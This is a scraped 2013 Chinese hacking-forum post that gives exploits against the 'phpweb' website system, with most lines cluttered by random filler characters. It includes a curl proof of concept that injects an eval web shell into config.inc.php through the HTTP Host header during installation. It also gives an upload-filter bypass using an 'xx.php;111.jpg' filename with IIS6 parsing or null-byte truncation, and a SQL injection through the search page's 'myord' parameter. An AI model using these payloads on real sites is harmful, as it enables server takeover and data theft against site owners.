找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2384|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
# V, j( c& E5 t7 e' k
# ~3 O/ H/ G2 D. |& i, Z之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码) p$ _2 [! t& N6 w
$ J# s( ?. p; m/ U. ^+ u
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& U3 r2 ~- \( |鸡肋2: 有一定安全常识的站长都会删掉 install 目录
$ p$ @3 x% l* B* n4 S0 ^ 8 |) b4 a% X5 J! K. E$ f# N
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; x/ C2 d8 |& m' V% l! \6 W- ?# H9 I ' |: ]3 N% }( C4 T6 {5 u
分析:7 M, c& h4 j2 w& `
! M7 i9 P; j# V) Q9 J3 x) |

( L) K# Y9 e  R9 S# i3 z$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  a1 I/ Z+ A# S$ I" ?6 v ) P, I) n$ s. Y- F
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
! I+ T7 v3 m2 i" z/ ~                                            $filestr=str_replace(" ","",$filestr);
. z' g& o  T7 J! i. ]                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);" F1 _, q) l2 N! J4 u0 g
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);6 L" F( F- B4 X5 N
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);& U, V5 l' U" p; m, }2 h+ B
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);! ~8 {6 c' |( c4 h6 s- W  X+ v
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);! B$ y  R- k& f- x% H  g
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 H6 a8 q2 H& W" W% u. g                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);( a3 N& S2 M. q; p6 \

' J) n9 w; N- ^* k$ O                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
# P  D  L4 ?* H' n- x$ E$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# _4 h# x* h  G6 g# Y. u! a

( n$ p) n0 A, Y& g; Ppoc:
" x- v: u3 x6 T: K# ]" b- C) k
: c' [" i: @0 O3 g* [?
9 x7 k8 l8 o: m, j- t1
, c+ H% b# Y9 @8 I, Z' }% rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( e/ b# y3 C0 N; g4 W. ^shell地址: /config.inc.php, a* S( R9 b. p: g- K/ U5 `. f/ P' s
跟之前的 phpcms一样 需要远程数据库9 S, U: E9 D  i" r. e9 O& T9 J' X

$ ?. V; J/ [6 N) z' h3 _——————————————————–
" }7 |  o  T: X2 [- i! v上传漏洞(需要进后台):8 J' i8 x, g2 H& `' e
漏洞文件: /kedit/upload_cgi/upload.php  S& x, E6 W+ n6 m, z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用1 G# Y, r8 _8 j4 @

8 y. [1 }. _, @' t1 W! v / S5 B) N  D% L% J6 t9 i
<?php7 o- _0 }9 R5 T3 p2 t
    define("ROOTPATH", "../../");
) P7 \& j- {' y3 p0 {/ a- D& r    include(ROOTPATH."includes/admin.inc.php");
( Y4 S% b0 Q9 Z( ]    NeedAuth(0);
1 X) r% g0 o* o* y
$ o' U, J  n; Y; l: ?# Y2 l    $dt=date("Ymd",time());4 I" Q. R4 U0 ~! f1 L' R+ ~
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 L+ N2 X  J8 k# h            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);' g6 V% C5 p# n. l! z
    }
+ h, s! V% r5 h- T& R
# _% e2 y. S' A) }! ~  h+ p    //文件保存目录路径& S) a: C5 g0 K
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';- Z1 d- K& k1 G5 `7 {1 X$ ]9 q- u
    echo $save_path;' x1 I2 A( M$ I& M$ Q& {
    //文件保存目录URL
5 @7 }) u. [% m    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
9 i6 _5 t: P. C6 |# v' `/ p
1 ], A$ @6 S3 a$ `    //定义允许上传的文件扩展名: k$ S6 X1 ]2 S  b% _. L( j
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀; ^# u  a8 Z  \1 z

' S* x- T; I! R: s9 _7 W    //最大文件大小
# }5 Q" d  q, d    $max_size = 1000000;! ?" O5 G5 J* {  Q" R( Y8 [

% R7 @5 q1 u) J8 H' P/ o* G; {- O. n/ u    //更改目录权限
5 `! z# A8 C5 R7 z    @mkdir($save_path, 0777);
. @1 F: h% ?" [) w6 H  A8 a # i- q5 [9 q: e5 M& c- X7 J
    //文件的全部路径
9 }3 E) ?0 D2 C. ^    $file_path = $save_path.$_POST['fileName'];   //保存文件名
0 l/ M5 \* h* S" J
3 b+ w; P4 C" z    //文件URL
3 {( ^3 [8 C! P: N+ v3 u3 }7 o    $file_url = $save_url.$_POST['fileName'];
8 b7 I; S9 L5 ^- e1 e- l//有上传文件时" w/ k% K* j' ^
    if (empty($_FILES) === false) {$ T. [% b( x. |
  R! b  f, t- H
            //原文件名
1 x) \- }& Z. ?3 e4 E            $file_name = $_FILES['fileData']['name'];- u; J( P9 ^: E4 q- b  `9 a6 x. b
            //服务器上临时文件名
0 _# w) a1 k1 V/ O/ C: H            $tmp_name = $_FILES['fileData']['tmp_name'];
, `) F0 v1 s8 K/ d) h            //文件大小
" F1 k1 f/ ~" c2 Y& H- P            $file_size = $_FILES['fileData']['size'];; `) p" r% I$ K+ K
            //检查目录. U% r* @. D6 K+ D0 S6 C* |
            if (@is_dir($save_path) === false) {! d" P+ [; ^# N& I) I( f+ l* v
                    alert("上传目录不存在。");3 o! n  J  E+ S% F" E1 F
            }
7 t" [: \# a. G, x/ C3 O8 U2 r            //检查目录写权限
8 g; O4 x8 d1 l, {1 B9 n2 c            if (@is_writable($save_path) === false) {- _+ {" h# K7 B- n
                    alert("上传目录没有写权限。");
' }) O( B  L) I+ R            }
' C* z& J* U" [) J; U: ^& L            //检查是否已上传) ]4 r" o3 G8 R) q5 d& m5 y- |' t
            if (@is_uploaded_file($tmp_name) === false) {
- @2 [: d- o( `# A                    alert("临时文件可能不是上传文件。");
7 k2 {' R* d6 w& V            }. _1 j, w: r1 f! k
            //检查文件大小
* w; q" e3 C3 y7 @            if ($file_size > $max_size) {
% V( j4 @/ ]* Y9 L- p                    alert("上传文件大小超过限制。");4 g7 Q+ n3 p6 b
            }
: g) _1 {9 j7 `% ]3 j  F, m$ y. c) Q            //获得文件扩展名
8 Z/ F% A6 O/ `            $temp_arr = explode(".", $_POST['fileName']);. K0 x3 Z% H6 [
            $file_ext = array_pop($temp_arr);
! I. {) n$ M, \4 Q. g            $file_ext = trim($file_ext);( M) ^' F( j4 t; \+ E
            $file_ext = strtolower($file_ext);
" o- u; K9 }+ J3 O * w- @) x5 q8 }7 \0 X
            //检查扩展名   . ]7 A8 I, u" K
            if (in_array($file_ext, $ext_arr) === false) {     
" n( o/ n9 j) ~                    alert("上传文件扩展名是不允许的扩展名。");
, ]$ n+ j( Z& b6 `1 R6 M7 d6 B            }" V- _) X3 c8 c( d
5 _& N! z- g7 T0 |. w8 s+ `
            //移动文件   
8 G' y5 @7 E: {. ]            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
* ~% y( Q: u8 d            if (move_uploaded_file($tmp_name, $file_path) === false) {+ u3 }! G7 R8 w# Y6 T7 E4 n( o$ n! D
                    alert("上传文件失败。");4 i3 C) x5 Y- `6 h
            }: [/ `" f( l# |; z7 ~

$ ^7 Q) z+ u2 v- K5 r1 U0 _( q            @chmod($file_path,0666);
5 k# T# {8 I1 V6 l5 [7 G" k& g ; Z1 y; l) b6 L3 h, M( T
    ?>
( O4 n2 W) @* _5 J6 y. \/ l+ ~抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2271 r: t) N4 d% A; r

% b# s, T7 G9 `) w; \apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. g  q) J$ J3 C 2 ]  n* |% j" Y/ {
——————————————————
- P# b) ]0 N0 K5 ~( Y6 |% d9 D注入漏洞:
: q0 b- I1 M* ~( Q# D漏洞文件:search/module/search.php
- C* b: D+ M+ @/search/index.php?key=1&myord=1 [sqlinjection]
+ {2 Q1 R+ F0 U' D5 F1 h; { 4 X! f  L3 `- V# a  j( \+ t8 {: y- V5 _
6 Q& H* k' ]2 P5 i/ c
<?php$ E0 s8 R3 i$ P* p/ I$ Z4 @) k
   //       ... 省略 n 行...4 d" F7 d2 w2 u. T/ h
   //第18行:# V2 j: t$ W5 f
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
! ~' i! @. B; P5 `4 R           $page=htmlspecialchars($_GET["page"]);
. ?* r8 W6 n8 v% ], `1 Z           $myord=htmlspecialchars($_GET["myord"]);
% A3 L! U  A/ `) I" P " A- o; e; I" e+ _. ~) Z) y. D
   //       ... 省略 n 行...1 O; O6 B) l. [; b$ `+ L& [* K6 ~# n
   $key,$myord 两个参数带入查询
# H' ^- q3 o& v( A! L3 \3 y   //第47行 $key:
8 E, U0 C  P1 R5 [
6 [7 C- e, }" D   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
, E+ F# h' n" f9 G: ?! P" p' E
% P# _% D' o2 Z7 a% p   //第197行 $myord
9 w" X+ v" j2 Q   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
& Z0 I2 Q+ x8 u& `& t! S2 ~
4 ?) I5 D! j: t; @% S" B1 n   ?>
" ^% V4 t2 V1 i8 n2 v' ]  }1 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表